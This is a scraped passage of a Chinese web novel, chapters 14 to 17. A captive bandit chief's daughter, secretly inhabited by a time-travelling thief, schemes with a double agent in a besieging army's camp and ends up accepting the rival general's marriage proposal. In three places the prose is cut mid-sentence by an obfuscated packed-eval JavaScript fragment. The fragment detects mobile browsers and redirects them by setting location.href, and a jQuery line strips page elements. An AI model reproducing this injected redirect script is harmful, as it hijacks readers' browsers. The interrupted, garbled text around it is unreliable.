高世衡无奈地斜他一眼:“我早说过,不如直接索要一笔银钱更稳妥。围城战打的就是粮草和耐心,我们得了钱,补充给养,就在这里稳稳地围着。城内人心惶惶,缺粮少药,最先撑不住的肯定是他们。” 贺连川不以为然道:“他开城投降,我们进去接管,这城里的金银还是我们的。他不同意,咱们再要银子。总归他女儿在咱们手上,横竖咱们不亏。” 高世衡哼了声,问:“那丫头怎么样了?” 贺连川脸上露出玩味的笑容:“精神好得很,骂起人来中气十足,带劲得很,呵呵呵。” 高世衡道:“看来,陈狗娃那小子倒是没唬我们。” 贺连川问:“你觉得他的话可信?” 高世衡道:“大丈夫生而为人,谁不想建功立业?他在石关山手下,一直得不到重用,还屡屡被那小丫头羞辱。换做是我,也会另寻明主。而且那日在战场上,他稍微放点水,咱们也抓不住石红玉。” 贺连川听后,道: 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燕钊声音更沉:“你既然单枪匹马冲上来,应该想到过眼下的情景。你的后手是什么?需要我做什么?” 后手? 苗悦立刻在石红玉记忆里搜寻。 她将整个事件的来龙去脉仔细过了一遍,得到一个让她无语的结论。 根本没有后手。 这身华丽又实用的轻甲,是石关山送给石红玉的礼物,但她只在教武场上有机会穿。石关山严禁她上真正的战场,这让她一直憋着一股劲。 这次,燕钊用“诈降计”让她吃了哑巴亏,新仇旧怨叠加,怒火冲昏了头脑。 石红玉自信地认为,凭自己练了多年的武艺,就算不能速胜,缠斗一番总没问题。正好可以借此机会,在两军阵前狠狠教训那小子一顿,既出了恶气,又能显威风! 退一万步讲,燕钊是“假叛变”,即使自己打不过,他还敢伤她不成。 于是,在所有人都没反应过来时,石红玉穿上那身最心爱的铠甲,单骑冲了出去。 不过三五招,她就被燕钊干脆利落地生擒活捉。 就在被反剪双手、死死按在马鞍上的那一刻,石红玉心里第一反应不是恐惧,而是“坏了!这家伙根本不是诈降!他是借诈降之名,真心投靠卢宁军了!” 否则,他怎敢如此毫不留情地对“横山公主”下手? 这个念头,让她在每一次破口大骂时,都充满了真实的恨意。 后手?哪来的后手。 一腔孤勇和对自己武艺的盲目自信,就是石红玉全部的计划。 见苗悦半天不出声,燕钊抬起头,身体微微前倾,试图看清她的表情,语气里带着难以置信的探究。 “你……不会根本没有计划吧?” 苗悦认真地想了想目前的处境,然后侧过头,看着近在咫尺的燕钊,不好意思地开口。 “能给我找点吃的吗?” 14.第 14 章 燕钊打心底里,瞧不上石红玉。 她仗着父亲宠爱,明明没什么真本事,却总想在人前出风头,行事冲动不计后果。 在这人命如草芥的乱世,像石红玉这般活法,若非有个当山大王的爹,早就不知死了多少回了。 如果可以,燕钊希望永远不和这类人有瓜葛。 然而,石红玉被抓进卢宁军大营后的两天一夜,倒让他有些刮目相看。 她骂起人来中气十足,字字句句带着狠劲,毫无惧色,透着一股子不怕死的硬气。 燕钊不得不承认,这丫头虽鲁莽,但骨子里确有几分常人不及的悍勇。 可方才石红玉那句“能给我找点吃的吗”,瞬间浇熄了燕钊心头刚升起不久的“刮目相看”。 不怕死的劲儿,或许并非源于坚韧,仅仅是因为没尝过真正的苦头。 这才是做事毫无章法没有任何计划的石红玉。 这个认知让燕钊感到一阵烦躁。 他原本还抱着一丝侥幸,以为石红玉再怎么莽撞,既然敢单枪匹马冲阵,总该留了后手,此刻才彻底明白,自己真是想错了。 燕钊在心里嗤笑一声,收敛心绪,目光重新落在苗悦身上。 “你最好趁这两天,仔细想一想,接下来要怎么办。等大当家拒绝投降后……” 燕钊没再往下说,他认为石红玉应该能明白。 苗悦驳道:“你凭什么那么肯定,我爹待我如何,我最清楚!” 燕钊扯了下嘴角:“他若为你一人开城投降,那他也不配被人追随效忠。” 苗悦怒瞪他。燕钊毫不客气地回视。 苗悦忽然觉得,十岁的燕钊虽然阴沉,但还是有可爱的时候,比眼前这个不服管的好多了。 “一个年轻姑娘落在敌军手里,会是什么下场。”燕钊语气平平道,“你最好明白。” 苗悦当然明白。 若她真是石红玉,此刻怕是已吓破了胆,但她不是。 这具身体死了,她还可以换一个,虚拟世界,玩得就是个体验。 只是可惜浪费了这次接近燕钊的机会,还无法保证下次穿成什么人。 燕钊一辈子南征北战,身边人哪有什么安生日子可过? 前两次穿的林菱和陈阿大,一个懦弱,一个邋遢,她都不满意,而石红玉年轻、健康,还有个护短的爹,十分难得。 如果可以,她想博一把,不死最好。 燕钊见她沉默,又道:“我再提醒你一句。我现在的身份,是从临峣城叛逃的小卒,若贺连川真要杀你祭旗,动手的人,很可能是我。” 苗悦闻言,瞥了他一眼:“我知道你下得去手。” 燕钊见她这般反应,不再多言,转身朝帐外走去。 苗悦脱口:“哎,你去哪?” 燕钊脚步一顿,皱着眉回头:“找吃的。” 临峣城,议事厅内,气氛凝重得能拧出水来。 刺史府原有的雕花门窗紧闭,几盏兽头灯在角落里跳动着昏黄的光晕,映得每个人的脸色都阴晴不定。 石关山坐在主位的太师椅上,身姿如山,纹丝不动,手中紧紧攥着贺连川送来的那封信,指节因用力而微微发白。 大厅中央,程虎双眼通红地叫着:“我们不能这么干坐着!红玉还在贼营受苦,咱们得去救她啊!” 这个十七八岁的少年,身高体壮,已显出其父的雏形,但眉眼间还带着少年的稚嫩和浮躁。 右下首的椅子上,一身青灰长衫的三当家何文远哼了一声,习惯性地用指尖轻敲桌面。 “你的意思是,接受贺连川的条件,开城投降,将大当家和我们弟兄们拼杀来的基业拱手送人?” “我……我不是这个意思!”程虎气势一窒,梗着脖子道,“我是说点齐人马,杀过去,直接冲营,把红玉抢回来!” 何文远嗤笑一声,指尖重重一叩。 “出了城门,不是山就是林。你知道卢宁军大营扎在何处?弩手埋伏在哪个山头?嘴巴一张就让兄弟们去硬冲,那是救人?那是送死!” “那怎么办?!”程虎急得额头青筋暴起,“难道我们就这么干看着?!” “你给老子闭嘴!”程铁牛终于忍不住,朝着儿子一声怒吼,“那陈狗娃是个什么货色?瘦得跟芦柴棒似的。你整天在教武场上耍威风,真到了节骨眼,自己伤了不说,还让他当着你面掳走了红玉!老子的脸都让你丢尽了!” 他说着,拿起手边的大茶碗朝程虎的伤腿砸过去。 程虎拖着伤腿蹦开,躲过一劫,委屈地辩解:“我是为了护着红玉……” 程铁牛冷哼一声:“那陈狗娃就是有问题。他但凡念一点旧情,稍微放点水,也不至于抓走一个又伤了一个,分明是下了死手!” 他转向石关山:“大哥!我早看那小子不顺眼!十岁就敢弑父的人,你能信他?我看他是真想投靠卢宁军,什么‘苦肉计’根本就是托词。” 何文远捋了捋颌下稀疏的短须,皱眉道:“二哥,你这么说可就不对了,这事是咱哥仨一起点头的,本就是情急之下的无奈之举。临峣城几千老兵一直不怎么听话,再让卢宁军围下去,城内必生大乱。再说,陈狗娃要叛出,他尽管去就行了,何必整出个‘苦肉计’瞎折腾。站场上,卢宁军眼皮底下,他一放水整个计划就白费了。这事……” 他看向主位上一直沉默不语的石关山,语气一转,婉言道:“大哥,我必须得说一句,这次若能把红玉救回来,你真要好好管管她了。战场非同儿戏,岂是她能任性胡闹的地方?” 这话戳中了程铁牛的心思,他哼了一声,也看向石关山。 “大哥,你发句话吧。大不了,临峣城不要了,咱还回铁屏寨当山匪去。” 程虎立刻附和:“对!大当家,咱们还回铁屏寨去!” “回铁屏寨?”何文远细长的眼睛瞥了程虎一眼,语带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苗悦吃下一口,疑惑道:“卢宁军真这么穷?昨晚就是这个,今中午还是,一点肉星都没有?” 燕钊眼皮都没抬,淡淡地回了一句:“等大当家开了城门,自然就有肉了。” 苗悦被这话噎了一下,又白他一眼,忽然压低声音。 “你昨天让我想想后面怎么办,我想了一夜,还真想出个法子,你帮我参详参详。” 燕钊动作一顿,看向她。 苗悦示意他靠近些。 燕钊皱眉,侧身凑近些许。苗悦在他耳边嘀嘀咕咕说了一通。 燕钊听完,眉头锁得更紧,盯着她:“你觉得这法子可行?” 苗悦迎着他的目光:“总得试试吧,万一成了,我还能接着当我的‘横山公主’呢。” 燕钊依然不解:“你怎么会想到这种办法?” 苗悦挑眉,不明白他什么意思。 燕钊有些尴尬,清清嗓子,说:“我是说,你这个年纪,怎么……算了,按你说的试试吧。” 15.第 15 章 燕钊端着那碗泡过饼的水,出了营帐,驻足思索,片刻后转身,朝高世衡的营帐走去。 高世衡正躺在摇椅里小憩,不时咳嗽几声。 那年随贺连川叛出卢宁军时,他为保护贺连川胸口中了一箭,从此便无法平躺入睡,稍一压着心口就咳得撕心裂肺。 贺连川特意备了这张摇椅,行军扎营都替他带着。 那一回死里逃生,也让高世衡看开了许多,什么功名利禄都是虚的,自己痛快才是真。 见燕钊进来,高世衡稍稍撩起眼皮,懒懒地问:“什么事?” 燕钊瞅着碗,为难道:“高将军,石红玉嫌饼太难吃,闹着要肉。” 高世衡嗤笑:“谁不想吃肉?” 燕钊微微躬身,显得更为难:“属下明白。只是若不依她,她要么破口大骂,要么绝食。贺将军特意吩咐,要属下‘伺候周全’。” 高世衡笑了笑:“我倒是听说了,那小辣椒嘴皮子厉害得很。也是难为你了,再忍两日,等她爹拒信到了,此事便算了结。” 燕钊抬起头,看向高世衡:“高将军也觉得,石关山不可能开城投降?” 高世衡挑眉:“哦?你也这么看?说说你的道理。” 燕钊姿态恭谨:“属下只是一个巡城小队长,平日接触的不过是些巡防治安、盘查往来的琐事,从未参与过核心议事。各位当家的心思,岂是属下这等微末之人能够妄加揣测的。” 高世衡闻言,呵呵一笑。 “巡城小队长,日日夜夜行走于市井街巷,对城中的风吹草动、人情纠葛最为敏锐。今日在此,就你我二人,但说无妨。” “是。”燕钊低声分析道,“属下觉得,临峣城里原来那几千官兵,压根不会听石关山的。他要是敢投降,那些人肯定跳出来造反,自己先打起来。铁屏寨三位当家各有心思,也并非铁板一块。” 这话勾起了高世衡的兴趣。 他指了指旁边的凳子:“详细说说,怎么叫各有心思?” 燕钊谢过,并未坐下,继续道:“石关山仅有石红玉一个女儿,再无其它子嗣。寨主之位的继承,一直是悬而未决的大事。” 高世衡点点头,表示知道。 燕钊又道:“二当家程铁牛的儿子程虎,与石红玉一同长大,对其言听计从。程铁牛一直以为,其子会娶石红玉,将来顺理成章继承铁屏寨,但石关山始终未松口。” “为何?” “因为石红玉不同意。”燕钊语气平常,仅仅在陈述事实,“她心仪的是能征善战、有勇有谋的大丈夫,而非程虎那般唯命是从的跟班。也因此,程铁牛心中对石关山父女,早有诸多不满,认为石红玉既瞧不上他儿子,却又对程虎呼来喝去,是在折辱他的脸面。” 高世衡的眼神微微闪动,人也从摇椅上坐起来,颇为感兴趣。 燕钊趁热打铁道:“三当家不甘于二当家之后,但他是个书生,手下无兵,便是有怨也无可奈何。” “那你觉得,”高世衡饶有兴致地问,“谁有可能继承石关山的位置?” 燕钊想了想说:“其实早几年,铁屏寨中一直有个说法,谁娶了石红玉,谁便是石关山默认的继承人。但此一时,彼一时。如今石关山已占据临峣城,官位等同于刺史,是实实在在的一方之主,眼界早已不同。昔日寨中那些老兄弟,怕是难入他眼了。” 高世衡琢磨着:“他看不上自家兄弟,难道会去外面找女婿?” 燕钊道:“铁屏寨盘踞多年,劫掠富户,本就积蓄颇丰。上次兵不血刃拿下临峣城,更是完整接收了府库钱粮,其积蓄之巨,远超想象。这两年,陆续有人入城提亲,光是属下便迎过三次,只是都被石关山拒绝了,估计也是考虑到寨中其它弟兄的想法。” 高世衡眯着眼说:“看来这石红玉比我们想的还要重要。” 燕钊看他一眼,又低下头。 “高将军说的是。只要杀了石红玉,石关山膝下再无子嗣,临峣城这块肥肉便成了无主之物。觊觎此位的各方势力将彻底撕破脸,陷入混战。我们只需继续围城,待其内乱,便可不战而胜。” “你没见过城乱吧。”高世衡扯扯嘴角,“一旦乱起,城中积蓄的钱粮会第一时间被抢夺、藏匿甚至焚毁。到那时,我们即便破城,所能得到的,恐怕也不多了。” 燕钊垂首道:“是属下愚钝。” 高世衡站起来,走到燕钊身边,盯着他。 “处死石红玉事关重大,依你之见,该如何行事,方能收震慑之效,令其价值尽为我所用?” 燕钊道:“可将石红玉缚于战车之上,驱车缓行,绕临峣城示众。同时,遣嗓门洪亮之士,于城下历数石关山背信弃义、罔顾亲女之罪,挑拨石关山与其兄弟间情谊。待巡城完毕,不必急于处死,将其高悬于旗杆之上,曝于两军阵前。令守城军民睹其状,闻其声。” 高世衡听至此处,眉头微蹙。 他并非心慈手软之辈,但这番言论,狠辣决绝,已近乎酷吏所为。 行事果断、不拖泥带水自是良将之材,可这少年郎,未免太过阴鸷,不留半分余地,对旧主之女能毫不迟疑地使出这般诛心绝户之计,着实令人心惊。 心硬如铁,可用,却不可不防。 高世衡垂下眼睑,掩去眸中一丝忌惮。 “好了,你出去吧。” 燕钊领命退下。 高世衡又叫住他:“晚饭给她加些肉。” 这天晚上,饭来的有些迟。 帐外早已听不见人声马嘶,巡夜士兵的脚步声也变得稀稀落落。 苗悦靠在柱子上,百无聊赖地数着帐布上的纹路。 帐帘掀动,燕钊端着木盘走了进来。 苗悦立刻坐直了身子:“怎么这么晚?我还以为要饿肚子了。” 燕钊将木盘放在她面前:“给你找肉去了。” 苗悦眼睛一亮,果见盘中除了惯常的硬饼,还多了一小碗炖肉。 肉块切得不大,汤汁浓稠,泛着油光。 她吸了吸鼻子,久违的肉香钻入鼻腔。 苗悦下意识想伸手,手腕却被粗糙的麻绳一勒,磨破的伤口传来一阵刺痛。 “嘶——”她倒抽一口冷气,抬头望向燕钊,可怜兮兮,“能不能先给我松一下?就一会儿,让我吃完这顿饭。吃完你再绑上。” 见燕钊面无表情,她急忙补充:“我跑不掉的,你也知道。这大营里里外外都是卢宁军,我能跑到哪儿去?再说,为了咱们的苦肉计,我也不能这么傻对吧。” 燕钊的目光落在她脸上,充满审视。 “这不像你能说出来的话,我觉得你这两天变化很大” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16789493|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苗悦不慌,叹了口气:“换作任何一个人,被捆在这里等死,眼看着因为自己的冒失险些毁了全盘计划,连累父亲和兄弟们……都会想明白的。过去的石红玉,根本没被逼到过这个份上。如今刀架在脖子上,再蠢的人,也该开窍了。” “再说,你很了解我吗?”她直视燕钊,“我现在想的很简单,保命,然后弥补我捅出的篓子。” 燕钊默然。 这套说辞听上去还算合理,而且,他确实没那么了解石红玉。 他没再说什么,沉默地走到她身后。 绳结散开,露出女孩腕上的血痕和破皮,坏掉的皮肉把麻绳磨出暗红色。 她这两日竟未吭过一声。 这人当真古怪,忍得下皮肉之苦,惧不畏死,却又对吃食斤斤计较,絮叨不休。 苗悦紧盯着那碗泛着油光的炖肉,喉头不自觉地动了动,不忘问正事。 “你跟他们说了吗?” “说了。”燕钊一边解绳子一边回答她。 腕上一松,苗悦大喜,正欲伸手端碗。 帐外突然传来一阵喧哗,伴随着急促的脚步声。 声响传来的同一瞬间,燕钊手如铁钳猛地扣住她刚获自由的胳膊,力道惊人。 剧痛让苗悦险些叫出声。 不等她反应,燕钊另一只手已抓起地上的麻绳,一抖一绕,不过眨眼工夫,便将她双手重新死死缚住。 动作比她这个职业神偷都快。 燕钊将她绑好后迅速起身,来到她前面。 同一时间,帐帘被人猛地掀开。 贺连川怒气冲冲地闯进来,面色铁青。 燕钊立刻垂首退至一旁,恭敬道:“大帅。” 贺连川看都没看他,盯着苗悦,眼中杀意凛然。 “好个石关山!妄想夜袭我大营,当我贺连川是泥捏的不成!”他往前几步,“既然你爹不讲信义,就别怪我心狠。明日一早,便拿你祭旗,我看他能奈我何!” 他低头,一脚踹翻地上的肉碗,转头骂燕钊:“谁准你给她肉的!饿着她!” 说完,他气呼呼转身,大步离开。 高世衡匆匆跟入帐内,看了眼满地狼藉,又匆匆追着贺连川出去了。 苗悦惊魂未定,看向燕钊:“你不是说,跟他们说过了吗?” 燕钊站在原地,垂头思索,阴影遮住了他大半张脸。 “我跟高世衡说了。”他顿了顿,“我去看看发生了什么事。” “哎。”苗悦叫住他,努力维持着镇定,“如果……如果明天动手的人是你,我拜托你,下手狠一点,给我个痛快。” 燕钊霍然转身看向她。 烛光下,少女面色苍白,眼神里却是一片平静。 这个被父亲庇护得太好的大小姐,此刻竟能如此冷静地为自己安排一个“痛快”的死法。 燕钊发现自己从未真正认识过石红玉。 他不希望石红玉死,尤其不能死在他手上。否则,即便“诈降”之计成功,他亲手斩杀石关山爱女这件事,也会永远扎在铁屏寨人心里,让他再无立足之地。 “你等我消息。”他沉声说,掀帘而出。 帐内彻底安静下来。 苗悦蜷缩在原地,怔怔地望着未曾入口的肉块,暗自叹息。 太浪费了。 16.第 16 章 贺连川冲出营帐,大步流星向前走,高世衡快步追上。 “你不必再劝!”贺连川头也不回,“石关山敢夜袭我大营,便是与我彻底撕破脸!明日一早,我必杀其女祭旗,定要让他痛不欲生!” 高世衡紧跑两步,与他并行,竭力劝道:“杀她容易。可杀了之后呢?届时我们手上没了筹码,只能强攻。咱们的粮草能撑多久,你不是不知道。” 贺连川怒吼:“那又如何!大不了换个地方,天下城池多的是,哪个不能抢!” “若只为抢掠求生,何必费这么大周折。”高世衡声音也扬了起来,“从一开始就应该用石红玉换银子,你非要逼石关山投降,如今他不降,你就要杀人泄愤。咱们一群无国无家的,起兵究竟为了什么?不就是为了给弟兄们谋个富贵生活吗?” 他抚着胸口,顺了顺气,继续道:“石红玉是石关山的命根子……” 话未说完,高世衡一阵猛咳,脸色煞白,身体晃了晃。 贺连川见状,怒气消去大半,忙扶住他。 “说话就说话,你急什么。” 高世衡借力站稳,缓了片刻,才低声道:“石关山敢为她独闯军营,足见其分量。” “行了行了,你不用劝了。”贺连川打断他,“不就是拿人换钱么,听你的就是。” 高世衡看他一眼,缓缓道:“换钱自然是要换的。但怎么个换法,其中大有讲究,还需细细斟酌。” 贺连川不耐烦地一摆手:“有什么可斟酌的,明日再送一封信去,让他们拿银子来赎人便是。” 高世衡摇摇头:“你就没想过,还有另一条路可走?” “什么路?”贺连川皱眉。 “我昨日便有个念头,本想思虑周全再跟你说,不想被石关山给搅乱了。”高世衡抬眼,“也好,趁这个机会,我便斗胆直言。你觉得,如果石红玉安然无恙回去了,石关山那份偌大的家业,将来会落在谁的手里?” 贺连川下意识地顺着他的话琢磨,道:“估计是便宜了哪个不知从哪儿冒出来的黄毛小子。” 高世衡眼底精光一闪,抓住贺连川的话尾,反问:“将军既知会便宜外人,何不……” 贺连川回过味来,瞪大双眼:“你要我娶那个黄毛丫头?” “你当她是寻常丫头?”高世衡寸步不让,“以石红玉的样貌,再加上石关山如今的地位,你这种身份,连提亲的资格都没有。现在老天爷把人送到你跟前了,你却只想着打打杀杀,真是暴殄天物!” 贺连川沉默片刻,颇有顾虑:“我若娶她,岂非矮了石关山一头,倒像是我求着他一般。” “一时高低算得了什么。”高世衡道,“待大军入了城,财物地位,皆是后话,大可徐徐图之……” 两人一边说话,一边进了贺连川营帐。 灯烛亮起,彻夜未熄。 同样一夜未眠的,还有苗悦。 坐以待毙不是她的风格,她在想自己还能做些什么。 她原本的计划有极大成功可能。毕竟,谁能拒绝一个年轻、貌美、有性格,还带着巨额嫁妆的女子示好。 但这个计划突然被打乱了。 苗悦闭上眼。石红玉记忆中的父亲,与她在陈家村见到的那个山匪头子渐渐重叠。 依旧是清瘦身量,浓眉如刀,只是眼神截然不同,一个是看女儿时近乎笨拙的温柔,一个则是审视与冷厉。 “明日祭旗”四个字,像个小石头硌着苗悦心尖。 这里是记忆世界,心理上她不怕死,但生理上,刀斧加身的滋味没人能坦然面对,更何况是痛快一刀还是零碎折磨,完全取决于贺连川一念之间,由不得她。 不过与恐惧相比,苗悦更多的是遗憾。 她浪费了“石红玉”这个绝佳的身份,若能早几天穿来,她便可与燕钊配合演好苦肉计,之后继续留在石关山身边过好日子,甚至有机会用石红玉的身体走完记忆世界全程。 这一次错过了,下一次不知何时何地,随着燕钊年纪渐长,经历越多,心志只会越发坚定,到时想用洗脑的方式影响他,难上加难。 思来想去中,天光大亮,苗悦仍没想到更好的办法,她开始琢磨如何利用最后的机会,再对燕钊进行一次洗脑。 临近午时,苗悦等得打起了瞌睡。 燕钊端来了食物,有饼有肉。 “断头饭?”苗悦问。 燕钊道:“事情有变,你的计划好像能成。” 苗悦眼一亮,心情也好了。 “昨天到底发生什么事了?” 燕钊道:“大当家单枪匹马来救你,中了箭,又被二当家救回去了。” 苗悦问:“伤得重吗?” “不清楚。”燕钊道,“今天贺连川和高世衡可能会来见你。记住,你要装作不知情。” 苗悦点头:“我懂。” 她抬了抬下巴,示意道:“把肉夹到饼里,饿死我了。” 燕钊看了看她,又看了看盘中的肉饼,没动手,反将盘子往里缩了缩。 苗悦诧异:“难道不是拿来给我吃的?” 燕钊道:“石大小姐不惧生死,更不屑于临刑前吃敌军的粮食。此时狼吞虎咽,容易惹人生疑。” 苗悦傻眼,瞬间转过弯来。 一个知道自己快死,又心高气傲的大小姐,这会儿应该绝食明志才对,哪会像她这样惦记着肉炖得香不香。 苗悦脸上那点期待瞬间褪去,狠狠瞪了肉饼一眼,又狠狠瞪了燕钊一眼,把吃不上肉的憋屈都撒在了这道目光里。 “滚远点!”她大声喝道,“我石红玉就是饿死,也不吃你们一口东西!” 帐帘应声而开。 高世衡鼓着掌走进来,脸上带着一种恰到好处的赞赏。 “不愧是石大当家的独女,果真虎父无犬女,有骨气。” 他的视线在帐内扫了一圈。 燕钊端着盘子,面无表情地站在旁边,眉宇间隐有一丝不耐。 石红玉绑缚在地,发髻散乱,一双眼睛因愤怒格外明亮,衬得那张年轻的脸庞生气勃勃。 高世衡不由暗叹,年轻真好,再想想自家那个年过三十、脾气火爆、行事只图一时痛快的大帅贺连川,忽然觉得有些惋惜。 若不是石红玉自己犯蠢冲阵被擒,就凭贺连川的出身和性子,哪有机会遇上这等品貌家世的姑娘。 他缓步上前,寻了个凳子坐下,温声道:“可是饭菜不合姑娘胃口?” 他态度和蔼,有明显示好之意。 苗悦心中一动,看来燕钊说的不错,自己的计策,成功一半了。 她保持警惕,焦急地问:“昨夜发生什么事了?我爹到底怎么了?!” “姑娘放心。”高世衡笑道,“昨夜石大当家一人来营,不曾通报,又寻错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他原以为这只是一个被宠坏了的刁蛮千金,不想经此一劫,竟显出这般懂事与孝心,倒是让他刮目相看。 他语气更缓和了些:“我们卢宁军向来只求财,不伤人。” 他看向燕钊:“还愣着干什么,给石姑娘松绑。” 燕钊放下盘子,上前解开了绳子。 苗悦活动着酸痛的手腕,故意露出腕上的伤痕。 她对高世衡行礼:“高将军,能否请您派人给我爹送个信,只需告诉他我一切安好,两位将军待我以礼,让他千万保重自身,莫要再为我涉险。大家都是苦命人,本该把酒言欢,有什么话,尽可以商量着来。” “姑娘深明大义,令人敬佩。”高世衡暗喜,面上却迟疑道。“送信之事,高某自然愿意效劳。不过此事还需禀明大帅,得他首肯方可。” 苗悦抬起泪眼,怯生生地问:“那……那我可否见大帅一面?” 高世衡道:“大帅此刻心绪未平,待高某先去代为传话,探探口风。姑娘且宽心,在此静候佳音。” 说完,他意味深长地看了苗悦一眼,转身出了营帐,吩咐士兵们加强守戒。 帐内重归寂静,只剩下苗悦和燕钊。 苗悦松了松僵硬发酸的胳膊,长长舒了口气。 老话说,见面三分情,凭石红玉的样貌,加上自己的演技,还有高世衡助攻,还怕拿不下贺连川。 她瞥了一眼木盘里的食物,忽然伸手,将盘子端到自己面前,然后抬起头,笑着望向燕钊:“现在能吃了吧?” 燕钊退后几步,站在了帐口的阴影里。 17.第 17 章 苗悦终于有了小范围的自由活动空间。 这顶帐篷不大,从这头到那头不过十几步。她走到帐帘边,掀开一道缝,眯眼细看。 帐外至少守着六名持刀士兵,由近及远分了三组,每组两人。 这还只是帐篷正面,其它方向不知道有没有人守着。 高世衡肯给她松绑,便是吃准了她插翅难飞。 苗悦本也没打算逃跑,她知道营地外埋伏着弩兵,硬往外冲,和送死没什么区别。 她在凳子上坐下,看着手腕上磨破的皮肉,伤口边缘红肿,渗出的血丝已经凝固,稍微一动就隐隐作痛。 燕钊端着一只陶碗走了进来。碗里盛着深绿色的糊状物,散发着一股青草气味。 “这是止血草。”他将碗放在苗悦面前,“用来敷伤口。” 苗悦盯着那团黏糊糊的草药,眉头微蹙。这玩意卫生吗?连个清洗消毒都没有。 “没有金疮药吗?”她忍不住问。 燕钊道:“将军帐中自然备着上好的伤药。你可以去向他们讨要。” 苗悦白他一眼,想到什么,又问:“这草哪里来的?” 燕钊说:“营地里就有,我摘的。” 苗悦歪头,思忖道:“你能在这里到处乱走?” 燕钊说:“有限制。” 苗悦眼珠一转,正要开口细问,就听帐外守卫齐声喊道:“大帅!” 她立刻闭上嘴。 帐帘掀开,一道高大的身影走了进来。 来人正是贺连川。 他今日未着全副甲胄,穿了一身暗青色的劲装。没有了盔甲的遮掩,显出挺拔健硕身形。 或许是因为离得近,苗悦第一次仔细看清他的样貌。 高鼻深目,眉骨突出,眼眶比常人深邃几分,有种不同于中原人的硬朗之气,似乎带了异邦血统。 贺连川大步走近,目光直接落在苗悦身上,开门见山:“你要见我?” 苗悦起身,对他盈盈一礼,声音轻柔:“这几日承蒙大帅关照,小女虽为阶下囚,但未曾短缺饮食,也未曾多加为难。此事本是小女鲁莽在先,大帅却能以礼相待,足见大帅虽是英勇威武之人,却心存仁义善念。” 贺连川一怔,有些不习惯被一个小娘子如此直白地戴高帽。 他摸了摸鼻尖,语气缓和了些:“行了,这些虚礼就免了。我知道你想要什么,不就是你爹死活吗。我已命人去打探了,若他真有性命之忧,早就传消息回来了。” 苗悦眼圈瞬间红了,哽咽着:“大帅恩德,小女子没齿难忘!” 她作势要再拜,却因连日捆绑少食,身体虚弱,腿下发软,竟朝着贺连川的方向栽倒过去。 贺连川眼疾手快,一把扶住她胳膊。 虽然没有碰到苗悦手腕伤口,她还是“嘶”地一声,显出痛楚难耐的神情。 贺连川低头看去,只见皓白纤细的手腕上已是皮开肉绽。 他皱眉,沉声道:“怎么伤成这样?” 说着,从怀中取出一个小巧的瓷瓶,塞到苗悦手里:“这个药对外伤极有效,你自己敷吧。” 苗悦没有立刻收回手,任他抓着胳膊,抬起泪眼盈盈的眸子,望着他,轻声道:“多谢大帅。” 贺连川原本对高世衡的提议亦可亦不可,但就在苗悦抬眼望来的那一瞬,看着女孩泪眼朦胧却又强作坚强的模样,他的心忽然漏跳一拍。 一个念头窜入他脑海,若真能娶了她,似乎也不错。 他是个直接了当的人,做事向来不喜欢拖泥带水,此刻觉得主意不错,时机也凑巧,便干脆顺着心意,开口道:“石姑娘,贺某是个粗人,说话不喜拐弯抹角。你我两家继续为敌,不过是两败俱伤,不如化干戈为玉帛。我娶你为妻,临峣城与卢宁军便可合二为一,于我于你爹,都是最好的出路。你觉得呢?” 这话问得太过突然,太过直接。 苗悦猛地抬起头,眼中还噙着未干的泪水,满是惊愕,一时间竟忘了回应。 帐内顿时安静极了。 她觉得自己已经够快了。她通过燕钊向高世衡暗示,灌输“娶石红玉等于得到临峣城”的概念,再亲自示弱卖惨,向高世衡示好,博其同情,进而影响贺连川。 这一套组合拳打下来,在她看来已是兵行险着,甚至担心过于主动会惹人生疑。 毕竟,就算是石红玉这样不拘小节的寨主千金,也没有这般上赶着的道理。 可她万没想到,贺连川比她还直接。 她还在铺垫好感,等待水到渠成,对方却跳过了所有步骤,像谈一笔买卖般,把联姻摊到了桌面上。 连个中间人都不需要。 她原本设想好的后续步骤,如何进一步示好,如何若即若离,如何最终勉强答应,全都派不上用场了。 她飞快瞥了一眼站在旁边的燕钊,却见燕钊也正抬眼看着贺连川,同样带着难以掩饰的惊愕。 不过,燕钊的惊愕只持续了一瞬。他立刻垂下眼帘,将所有情绪收敛得干干净净。 苗悦将胳膊从贺连川的掌中抽出,身体微微晃了晃,做出受惊后体力不支的样子,顺势坐回凳子,别过脸去。 用这短暂的几秒钟空隙,让自己急速思索对策。 片刻后,她转回头,抬起一双犹带泪光的眼睛,直视贺连川,声音微颤。 “大帅昨日还要杀我祭旗,今日却说要娶我。大帅的话,哪一句才是真的?” 贺连川闻言,哼笑一声,抱臂而立。 “昨日要杀你,是因你爹不识抬举,妄想夜袭我的大营。今日要娶你,是因你石红玉有这个价值。我做事,只看何时、何地、何种选择最有利。昨日杀你利大于弊,今日娶你利大于弊。就这么简单。你现在只需要回答我,愿,还是不愿?” 苗悦蹙眉,沉默不语,仿佛在做激烈的思想斗争。 最终她轻轻叹了口气,无奈道:“今日我为鱼肉,你为刀俎。我若不应,两军即刻便要血战,徒增无谓伤亡,我便真成了罪人。眼下这般情形,我是答应也得答应,不答应,也得答应。” 贺连川听得眉头紧锁,困惑道:“说这么多,到底是应了,还是没应?” 苗悦看他一眼,暗骂,这人直得像个棒槌,到底是怎么当上大帅的。 她垂下眼帘,低声道:“……自是应了。” 贺连川没料到她答应得如此干脆,不由一怔,随即嘴角不受控制地向上扬起,连连点头:“应了就好,应了就好!” 